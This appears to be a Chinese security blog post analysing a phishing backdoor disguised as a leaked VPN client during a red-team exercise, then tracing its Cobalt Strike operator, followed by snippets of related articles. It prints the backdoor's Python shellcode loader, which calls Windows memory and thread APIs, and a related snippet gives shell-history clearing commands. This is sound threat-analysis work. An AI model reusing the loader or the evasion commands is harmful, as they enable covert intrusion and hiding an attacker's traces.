实战 | 某次攻防演练中的分析溯源

VSole2022-11-25 22:58:53
在某次攻防演练信息收集的过程中,偶然发现伪装Github信息泄漏进而钓鱼红队人员的后门。
下面展开有趣的分析溯源过程。

信息收集

GIthub信息泄漏

根据甲方信息进行常规的Github敏感信息收集偶然发现一个仓库不简单

这不是mysql账号密码泄漏了吗,愉快的打开Navicat

失败....于是访问源码的8080端口查看一番,发现一个管理后台

弱口令

针对后台尝试一波弱口令,admin/admin 嗯~进来了

进来之后竟然发现账号密码而且客户端解压密码都贴心的放了出来

到这里我竟然没有察觉到任何异常,以为能够拿到VPN入口权限;抓紧下载VPN客户端。

解压出来这个样子,emmm。。还没发现异常

分析溯源

还好有谨慎的习惯,放入虚拟机瞅瞅。

哦豁,竟然提示不兼容当前系统;看到弹窗有Pyhton代码编写的特征。感觉到前面的打点由过于丝滑,不自然的警觉了起来。

包括前面弱口令的提交方式竟然为admin.php?user=admin&passwd=admin

由于发现VPN客户端为python语言编写,更不对劲了,反编译看下。

解包


python3 pyinstxtractor.py vpnclient64.exe

生成一个以 exe文件名+_extracted 的文件夹,这个就是解包后的数据

PyInstaller打包后,pyc文件的前8个字节会被抹掉,所以最后要自己添加回去。

添加头

根据struct.py文件

源码

得到py文件,easyvpn64.py为后门主程序,其中执行shellcode代码隐藏至图片中。

通过requests请求OSS存储中的图片,图片内容为shellcode加载器。

shellcodeLoader部分

import base64import ctypesstr = b''sc_base64 = (base64.a85decode(str)).decode('utf-8')shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),
                                             ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

知道shellcodeloader加载方式就好办了,提取CS回连地址。

溯源

回连地址:Host: cs.xxx.cn

nslookup解析地址

根据IP地址定位在某宿舍

直接溯源到人,tg结合一波。

总结

在攻防演练过程中一定要小心,防止被钓鱼。另外这个钓鱼的兄弟已经小本本记下了。。。

溯源
本作品采用《CC 协议》,转载必须注明作者和本文链接
说明攻击者已经进入内网环境,分两条线分别对攻击入口和内网影响面进行排查。但audit和system账户权限有限,并不会直接控制终端。此外,在审计用户的后台还发现,admin账户的密码被修改过,操作者时admin本人,登录IP为攻击队控制的跳板机,修改后密码后,admin账户成功登录。此时已经凌晨3点多。第二天与客户沟通后发现,该VRV是用于VPN接入时进行管控的,而VPN在4月8日晚上已经关闭。
溯源(attribution)是解决网络攻击的起点,通过指出并惩罚真正的攻击者以震慑其他潜在罪犯,阻止未来可能发生的攻击。伴随国家间网络空间博弈的日趋激烈,一些国家越来越倾向于使用强大的网络攻击溯源能力塑造国际叙事,渲染放大网络威胁,为其采取起诉、制裁等单边措施提供托词。
入侵检测与威胁分析系统的研发为对抗攻击提供了更直接、响应速度更快的新方法。
溯源反制思路整合
2021-07-27 09:41:52
溯源反制思路整合0x01反制的整体思路0x02 反制具体思路0x0201 反制主机0x0202 反制后门附件
前言最近看到几篇有关WebRTC泄露源IP的文章,这个问题其实很多年前就有人提出来了,只是当时没咋引起重视;最近看又有师傅提起了,写篇文章简单记录分享下。目前想到在实战中可利用的场景有:HW攻防演练、BC/ZP溯源对方真实IP等...。0x01 泄露原因浏览器支持WebRTC并在没被禁用的情况下就有可能会泄露源IP地址,如常用的:Chrome、Firefox、Edga等浏览器均支持WebRTC。
真实溯源笔记思路
2022-12-04 09:54:30
0x01 尝试获取getshell提权根据获取的资产信息,进行渗透(awvs等工具)0x02 第一次提权后的信息收集查看历史的shell命令是否存在数据:取消shell命令历史记录:set + o history删除上一步的取消命令:history -d id查询登录过当前系统的IP:last,定位该IP进行该IP的第一次信息收集同上系统信息收集:内核,系统版本情况等,尝试是否可以提权操作查看你进
攻击者溯源反制
2022-08-19 22:30:11
攻击者溯源反制
事件溯源是高性能协作域的一种很好的架构风格,可以保证它增加的复杂性。但正如我之前所说,就像任何其他原则或实践一样,即使是事件溯源也有利有弊。而且它不是顶级架构。您系统的某些部分可能会从中受益,但其他部分可能不会。话虽如此,如果您需要事件溯源,并且您有一个现有的、更传统的(又名 CRUD)应用程序,您可以遵循大致三种策略:
溯源是攻防过程中的重要一环,其主要目的为防止防守方快速找出屏幕后,正在抠脚的你。渗透过程中有没有"事了拂衣去"的洒脱,很大程度在于过程中反溯源技术的应用程度。
溯源排查中比较重要的一环是web突破口排查,攻击者通过web突破口入侵时,有极大的概率会写入webshell,本文介绍下常见的webshell排查方法和流程。
VSole
网络安全专家